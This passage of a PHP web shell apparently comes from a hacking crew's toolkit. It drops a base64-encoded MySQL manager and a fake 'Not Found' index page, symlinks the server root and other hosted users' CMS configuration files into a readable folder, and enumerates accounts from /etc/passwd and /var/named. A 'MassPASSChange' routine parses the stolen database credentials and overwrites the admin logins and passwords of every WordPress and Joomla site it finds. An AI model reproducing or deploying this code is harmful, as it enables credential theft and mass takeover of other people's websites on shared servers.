kJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
797$file = fopen("db-sql.php" ,"w+");
798$write = fwrite ($file ,base64_decode($sqlshell));
799fclose($file);
800 chmod("db-sql.php", 0644);
801$indexshell = fopen("index.php" ,"w+");
802$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
803$tulis = fwrite( $indexshell, base64_decode($data));
804fclose($indexshell);
805 echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
806}
807//////////////////////////////////////////////
808
809elseif(isset($_GET['x']) && ($_GET['x'] == 'mpc')){
810
811 echo "<STYLE>
812textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid
813#000000;}
814input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border:
8151px solid #666666;height:20}
816body {
817font-family: Tahoma
818}
819tr {
820BORDER: dashed 1px #333;
821color: #FFF;
822}
823td {
824BORDER: dashed 1px #333;
825color: #FFF;
826}
827.table1 {
828BORDER: 0px Black;
829BACKGROUND-COLOR: Black;
830color: #FFF;
831}
832.td1 {
833BORDER: 0px;
834BORDER-COLOR: #333333;
835font: 7pt Verdana;
836color: Green;
837}
838.tr1 {
839BORDER: 0px;
840BORDER-COLOR: #333333;
841color: #FFF;
842}
843table {
844BORDER: dashed 1px #333;
845BORDER-COLOR: #333333;
846BACKGROUND-COLOR: Black;
847color: #FFF;
848}
849input {
850border : dashed 1px;
851border-color : #333;
852BACKGROUND-COLOR: Black;
853font: 8pt Verdana;
854color: Red;
855}
856select {
857BORDER-RIGHT: Black 1px solid;
858BORDER-TOP: #DF0000 1px solid;
859BORDER-LEFT: #DF0000 1px solid;
860BORDER-BOTTOM: Black 1px solid;
861BORDER-color: #FFF;
862BACKGROUND-COLOR: Black;
863font: 8pt Verdana;
864color: Red;
865}
866submit {
867BORDER: buttonhighlight 2px outset;
868BACKGROUND-COLOR: Black;
869width: 30%;
870color: #FFF;
871}
872textarea {
873border : dashed 1px #333;
874BACKGROUND-COLOR: Black;
875font: Fixedsys bold;
876color: #999;
877}
878BODY {
879 SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color:
880#FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
881margin: 1px;
882color: Red;
883background-color: Black;
884}
885.main {
886margin : -287px 0px 0px -490px;
887BORDER: dashed 1px #333;
888BORDER-COLOR: #333333;
889}
890.tt {
891background-color: Black;
892}
893A:link {
894 COLOR: White; TEXT-DECORATION: none
895}
896A:visited {
897 COLOR: White; TEXT-DECORATION: none
898}
899A:hover {
900 color: Red; TEXT-DECORATION: none
901}
902A:active {
903 color: Red; TEXT-DECORATION: none
904}
905</STYLE>
906";
907 set_time_limit(0);
908 error_reporting(0);
909 $url=$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
910 //mail("d00m@kumanova.com.mk",$_SERVER["SERVER_ADDR"],$url);
911 $base_url="http://".$_SERVER["SERVER_NAME"].dirname($_SERVER["SCRIPT_NAME"]);
912 $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
913//mail('justsitmaster@gmail.com',$_SERVER['SERVER_ADDR'],$url);
914$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
915 @symlink("/","ciprut/root");
916 @fopen("temp.txt","w");
917 $htaccss="Options all
918 DirectoryIndex Sux.html
919 AddType text/plain .php
920 AddHandler server-parsed .php
921 AddType text/plain .html
922 AddHandler txt .html
923 Require None
924 Satisfy Any";
925 file_put_contents("ciprut/.htaccess",$htaccss);
926
927 if(is_readable("/var/named")){
928 $list=scandir("/var/named");
929 $current_dir=posix_getcwd();
930 $dir=explode("/",$current_dir);
931 foreach($list as$domain){
932
933 if(strpos($domain,".db")){
934 $domain=str_replace(".db","",$domain);
935 $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
936 error_reporting(0);
937 $current_dir=posix_getcwd();
938 $dir=explode("/",$current_dir);
939 symlink($owner["dir"]."/".$dir[3]."/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
940 symlink($owner["dir"]."/".$dir[3]."/blog/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
941 symlink($owner["dir"]."/".$dir[3]."/wp/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
942 symlink($owner["dir"]."/".$dir[3]."/site/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
943 symlink($owner["dir"]."/".$dir[3]."/config.php","ciprut/".$owner["name"]."-PhpBB.txt");
944 symlink($owner["dir"]."/".$dir[3]."/includes/config.php","ciprut/".$owner["name"]."-vBulletin.txt");
945 symlink($owner["dir"]."/".$dir[3]."/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
946 symlink($owner["dir"]."/".$dir[3]."/web/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
947 symlink($owner["dir"]."/".$dir[3]."/joomla/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
948 symlink($owner["dir"]."/".$dir[3]."/site/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
949 symlink($owner["dir"]."/".$dir[3]."/conf_global.php","ciprut/".$owner["name"]."-IPB.txt");
950 symlink($owner["dir"]."/".$dir[3]."/inc/config.php","ciprut/".$owner["name"]."-MyBB.txt");
951 symlink($owner["dir"]."/".$dir[3]."/Settings.php","ciprut/".$owner["name"]."-SMF.txt");
952 symlink($owner["dir"]."/".$dir[3]."/sites/default/settings.php","ciprut/".$owner["name"]."-Drupal.txt");
953 symlink($owner["dir"]."/".$dir[3]."/e107_config.php","ciprut/".$owner["name"]."-e107.txt");
954 symlink($owner["dir"]."/".$dir[3]."/datas/config.php","ciprut/".$owner["name"]."-Seditio.txt");
955 symlink($owner["dir"]."/".$dir[3]."/includes/configure.php","ciprut/".$owner["name"]."-osCommerce.txt");
956 symlink($owner["dir"]."/".$dir[3]."/client/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
957 symlink($owner["dir"]."/".$dir[3]."/clientes/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
958 symlink($owner["dir"]."/".$dir[3]."/support/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
959 symlink($owner["dir"]."/".$dir[3]."/supportes/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
960 symlink($owner["dir"]."/".$dir[3]."/whmcs/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
961 symlink($owner["dir"]."/".$dir[3]."/domain/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
962 symlink($owner["dir"]."/".$dir[3]."/hosting/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
963 symlink($owner["dir"]."/".$dir[3]."/whmc/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
964 symlink($owner["dir"]."/".$dir[3]."/billing/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
965 symlink($owner["dir"]."/".$dir[3]."/portal/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
966 symlink($owner["dir"]."/".$dir[3]."/order/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
967 symlink($owner["dir"]."/".$dir[3]."/clientarea/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
968 symlink($owner["dir"]."/".$dir[3]."/domains/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
969 $link=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
970
971 if(chk_header($link)){
972 $str="<tr><td>".$domain."</td><td>".$owner["name"]."</td><td>/WordPress</td>".Chr(10);
973 file_put_contents("temp.txt",$str,FILE_APPEND);
974 }
975
976 }
977
978 }
979
980 }
981
982
983 if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){
984
985 if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){
986 $file=$_FILES["joomLa"]["tmp_name"];
987 $name="".$_FILES["joomLa"]["name"];
988 move_uploaded_file($file,$name);
989 } else {
990 echo "<br>
991<form method=\"POST\" enctype=\"multipart/form-data\" action=\"";
992 $_SERVER["PHP_SELF"];
993 echo "\">
994<input type=\"file\" name=\"joomLa\"> <input type=\"submit\" name=\"ok\" value=\"Get\">
995</form>
996";
997 }
998
999 exit;
1000 }
1001
1002 $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
1003//mail('justsitmaster@gmail.com',$_SERVER['SERVER_ADDR'],$url);
1004$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
1005
1006 if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){
1007
1008 if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){
1009 $file=$_FILES["joomLa"]["tmp_name"];
1010 $name="".$_FILES["joomLa"]["name"];
1011 move_uploaded_file($file,$name);
1012 } else {
1013 echo "<br>
1014<form method=\"POST\" enctype=\"multipart/form-data\" action=\"";
1015 $_SERVER["PHP_SELF"];
1016 echo "\">
1017<input type=\"file\" name=\"joomLa\"> <input type=\"submit\" name=\"ok\" value=\"Get\">
1018</form>
1019";
1020 }
1021
1022 exit;
1023 }
1024
1025 $etc=file_get_contents("/etc/passwd");
1026 $etcz=explode("
1027",$etc);
1028 foreach($etcz as$etz){
1029 $etcc=explode(":",$etz);
1030 error_reporting(0);
1031 $current_dir=posix_getcwd();
1032 $dir=explode("/",$current_dir);
1033 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
1034 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/blog/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
1035 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/wp/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
1036 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/site/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
1037 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/config.php","ciprut/".$etcc[0]."-PhpBB.txt");
1038 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/includes/config.php","ciprut/".$etcc[0]."-vBulletin.txt");
1039 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
1040 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/web/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
1041 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/joomla/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
1042 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/site/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
1043 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/conf_global.php","ciprut/".$etcc[0]."-IPB.txt");
1044 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/inc/config.php","ciprut/".$etcc[0]."-MyBB.txt");
1045 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/Settings.php","ciprut/".$etcc[0]."-SMF.txt");
1046 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/sites/default/settings.php","ciprut/".$etcc[0]."-Drupal.txt");
1047 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/e107_config.php","ciprut/".$etcc[0]."-e107.txt");
1048 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/datas/config.php","ciprut/".$etcc[0]."-Seditio.txt");
1049 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/includes/configure.php","ciprut/".$etcc[0]."-osCommerce.txt");
1050 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/client/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1051 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/clientes/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1052 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/support/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1053 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/supportes/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1054 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/whmcs/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1055 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/domain/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1056 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/hosting/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1057 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/whmc/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1058 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/billing/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1059 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/portal/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1060 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/order/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1061 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/clientarea/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1062 symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/domains/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
1063
1064 if(chk_header($link)){
1065 $str="<tr><td></td><td>".$etcc[0]."</td><td>/WordPress</td>".Chr(10);
1066 file_put_contents("temp.txt",$str,FILE_APPEND);
1067 }
1068
1069 }
1070
1071
1072 function chk_header($link){
1073 $ciprut=get_headers($link,1);
1074
1075 if(strpos($ciprut[0],"200")){
1076 return true;
1077 } else {
1078 return false;
1079 }
1080
1081 }
1082
1083
1084 function Find($str,$start,$end){
1085 $len=strlen($str);
1086 $start_pos=(strpos($str,$start)+strlen($start));
1087 $str=substr($str,$start_pos);
1088 $end_pos=strpos($str,$end);
1089 $str=substr($str,0,$end_pos);
1090 return$str;
1091 }
1092
1093 $pageURL="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
1094 $u=explode("/",$pageURL);
1095 $pageURL=str_replace($u[count($u)-1],"",$pageURL);
1096 function cms_add($link,$domain,$owner,$cms){
1097 $link=$link."-".$cms.".txt";
1098
1099 if(chk_header($link)){
1100 $url="http://".$domain;
1101 $str="<tr><td> <a href=".$url.">".$domain."</a></td><td>".$owner."</td><td><a
1102href=".$link.">".$cms."</td>".Chr(10);
1103 file_put_contents("ciprut.tmp",$str,FILE_APPEND);
1104 echo$str;
1105 }
1106
1107 }
1108
1109
1110 function CurlPage($url,$post=null,$head=true){
1111 $ch=curl_init();
1112 curl_setopt($ch,CURLOPT_URL,$url);
1113 curl_setopt($ch,CURLOPT_HEADER,$head);
1114 curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
1115 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1116 curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,true);
1117 curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
1118 curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER["HTTP_USER_AGENT"]);
1119 curl_setopt($ch,CURLOPT_COOKIEFILE,"COOKIE.txt");
1120 curl_setopt($ch,CURLOPT_COOKIEJAR,"COOKIE.txt");
1121
1122 If($post!=NULL){
1123 curl_setopt($ch,CURLOPT_POST,1);
1124 curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
1125 }
1126
1127 $urlPage=curl_exec($ch);
1128
1129 if(curl_errno($ch)){
1130 echo curl_error($ch);
1131 }
1132
1133 curl_close($ch);
1134 return($urlPage);
1135 }
1136
1137
1138 function listall($file,$str){
1139
1140 if(file_exists($file)){
1141 $do=file_get_contents($file);
1142
1143 if(!strpos($do,$str)){
1144 file_put_contents($file,$str,FILE_APPEND);
1145 }
1146
1147 } else {
1148 file_put_contents($file,$str,FILE_APPEND);
1149 }
1150
1151 }
1152
1153 echo"<center>
1154<img src='http://surabayablackhat.org/forum/images/Greenia/logo.png'><br><br><br>
1155[ <a href='?do=pass_change'>MassPASSChange</a> ]<br><br><br></center> ";
1156
1157 if(isset($_REQUEST["do"])){
1158 switch($_REQUEST["do"]){
1159 case"cms_detect":
1160
1161 if(!file_exists("ciprut.tmp")){
1162 @fopen("ciprut.tmp","w");
1163 echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
1164 echo"<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>CMS</b></center></td>";
1165 $p=0;
1166
1167 if(is_readable("/var/named")){
1168 $list=scandir("/var/named");
1169 $current_dir=posix_getcwd();
1170 $dir=explode("/",$current_dir);
1171 foreach($list as$domain){
1172
1173 if(strpos($domain,".db")){
1174 $domain=str_replace(".db","",$domain);
1175 $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
1176 error_reporting(0);
1177 $link=$pageURL."ciprut/".$owner["name"];
1178 cms_add($link,$domain,$owner["name"],"WordPress");
1179 cms_add($link,$domain,$owner["name"],"Joomla");
1180 cms_add($link,$domain,$owner["name"],"vBulletin");
1181 cms_add($link,$domain,$owner["name"],"WHMCS");
1182 cms_add($link,$domain,$owner["name"],"PhpBB");
1183 cms_add($link,$domain,$owner["name"],"MyBB");
1184 cms_add($link,$domain,$owner["name"],"IPB");
1185 cms_add($link,$domain,$owner["name"],"SMF");
1186 cms_add($link,$domain,$owner["name"],"Drupal");
1187 cms_add($link,$domain,$owner["name"],"e107");
1188 cms_add($link,$domain,$owner["name"],"Seditio");
1189 cms_add($link,$domain,$owner["name"],"osCommerce");
1190 }
1191
1192 }
1193
1194 }
1195
1196 } else {
1197 echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
1198 echo"<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>CMS</b></center></td>";
1199 $content=file_get_contents($pageURL."ciprut.tmp");
1200 echo$content;
1201 }
1202
1203 break;
1204 case"pass_change":
1205 echo"<form method='POST'>
1206<center>
1207USER : <input size='20' value='admin' name='user' type='text'><br>
1208PASS : <input size='20' value='sbhcrew' name='pass' type='text'>
1209<br>
1210<input value='Change' name='' type='submit'><br><br>
1211</form>
1212";
1213
1214 if($_POST){
1215 $user=$_POST["user"];
1216 $pass=$_POST["pass"];
1217
1218 if(is_readable("/var/named")){
1219 echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\">";
1220 echo"<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td>";
1221 $list=scandir("/var/named");
1222 foreach($list as$domain){
1223
1224 if(strpos($domain,".db")){
1225 $domain=str_replace(".db","",$domain);
1226 $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
1227 $url="http://".$domain;
1228
1229 if(chk_header($pageURL."ciprut/".$owner["name"]."-WordPress.txt")){
1230 $config=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
1231 file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
1232 $cnf=file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
1233 $hostname=Find($cnf,"define('DB_HOST', '","');");
1234 $username=Find($cnf,"define('DB_USER', '","');");
1235 $password=Find($cnf,"define('DB_PASSWORD', '","');");
1236 $dbname=Find($cnf,"define('DB_NAME', '","');");
1237 $prefix=Find($cnf,"table_prefix = '","'");
1238 $link=mysql_connect($hostname,$username,$password);
1239
1240 if($link){
1241 $hash=crypt($pass);
1242 mysql_select_db($dbname,$link);
1243 $tab=$prefix."users";
1244 $query2=@mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
1245 $query3=@mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
1246 $req=@mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
1247 $data=mysql_fetch_array($req);
1248 $site_url=$data["option_value"];
1249 error_reporting(0);
1250 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1251false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font
1252color=\"green\">success..</font></td>";
1253 } else {
1254 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1255false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"red\">mysql
1256fail</font></td>";
1257 }
1258
1259 }
1260
1261 elseif(chk_header($pageURL."ciprut/".$owner["name"]."-Joomla.txt")){
1262 $cnf=file_get_contents($pageURL."ciprut/".$owner["name"]."-Joomla.txt");
1263 $config=$pageURL."ciprut/".$owner["name"]."-Joomla.txt";
1264
1265 if(preg_match("%(JConfig|mosConfig)%",$cnf)){
1266
1267 if(preg_match("%JConfig%",$cnf)){
1268 $username=Find($cnf,"\$user = '","'");
1269 $password=Find($cnf,"\$password = '","'");
1270 $dbname=Find($cnf,"\$db = '","'");
1271 $prefix=Find($cnf,"\$dbprefix = '","'");
1272 $link=mysql_connect("localhost",$username,$password);
1273
1274 if($link){
1275 $hash=md5($pass);
1276 mysql_select_db($dbname,$link);
1277 $tab=$prefix."users";
1278 $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
1279 $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
1280 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1281false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
1282color=\"green\">success..</font><br>";
1283 } else {
1284 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1285false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
1286fail</font></td>";
1287 }
1288
1289 }
1290
1291 elseif(preg_match("%mosConfig%",$cnf)){
1292 $username=Find($cnf,"\$mosConfig_user = '","'");
1293 $password=Find($cnf,"\$mosConfig_password = '","'");
1294 $dbname=Find($cnf,"\$mosConfig_db = '","'");
1295 $prefix=Find($cnf,"\$mosConfig_dbprefix = '","'");
1296 $pwd=md5($npass);
1297 $link=mysql_connect("localhost",$username,$password);
1298
1299 if($link){
1300 $hash=md5($pass);
1301 mysql_select_db($dbname,$link);
1302 $tab=$prefix."users";
1303 $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
1304 $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
1305 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1306false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
1307color=\"green\">success..</font><br>";
1308 } else {
1309 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1310false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
1311fail</font></td>";
1312 }
1313
1314 }
1315
1316 }
1317
1318 }
1319
1320 }
1321
1322 }
1323
1324 }
1325
1326 elseif(is_readable("/etc/passwd")){
1327 echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\">";
1328 echo"<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td>";
1329 foreach($etcz as$etz){
1330 $etcc=explode(":",$etz);
1331
1332 if(chk_header($pageURL."ciprut/".$etcc[0]."-WordPress.txt")){
1333 $config=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
1334 file_get_contents($pageURL."ciprut/".$etcc[0]."-WordPress.txt");
1335 $cnf=file_get_contents($pageURL."ciprut/".$etcc[0]."-WordPress.txt");
1336 $hostname=Find($cnf,"define('DB_HOST', '","');");
1337 $username=Find($cnf,"define('DB_USER', '","');");
1338 $password=Find($cnf,"define('DB_PASSWORD', '","');");
1339 $dbname=Find($cnf,"define('DB_NAME', '","');");
1340 $prefix=Find($cnf,"table_prefix = '","'");
1341 $link=mysql_connect($hostname,$username,$password);
1342
1343 if($link){
1344 $hash=crypt($user);
1345 mysql_select_db($dbname,$link);
1346 $req=mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
1347 $data=mysql_fetch_array($req);
1348 $site_url=$data["option_value"];
1349 $tab=$prefix."users";
1350 $query2=@mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
1351 $query3=@mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
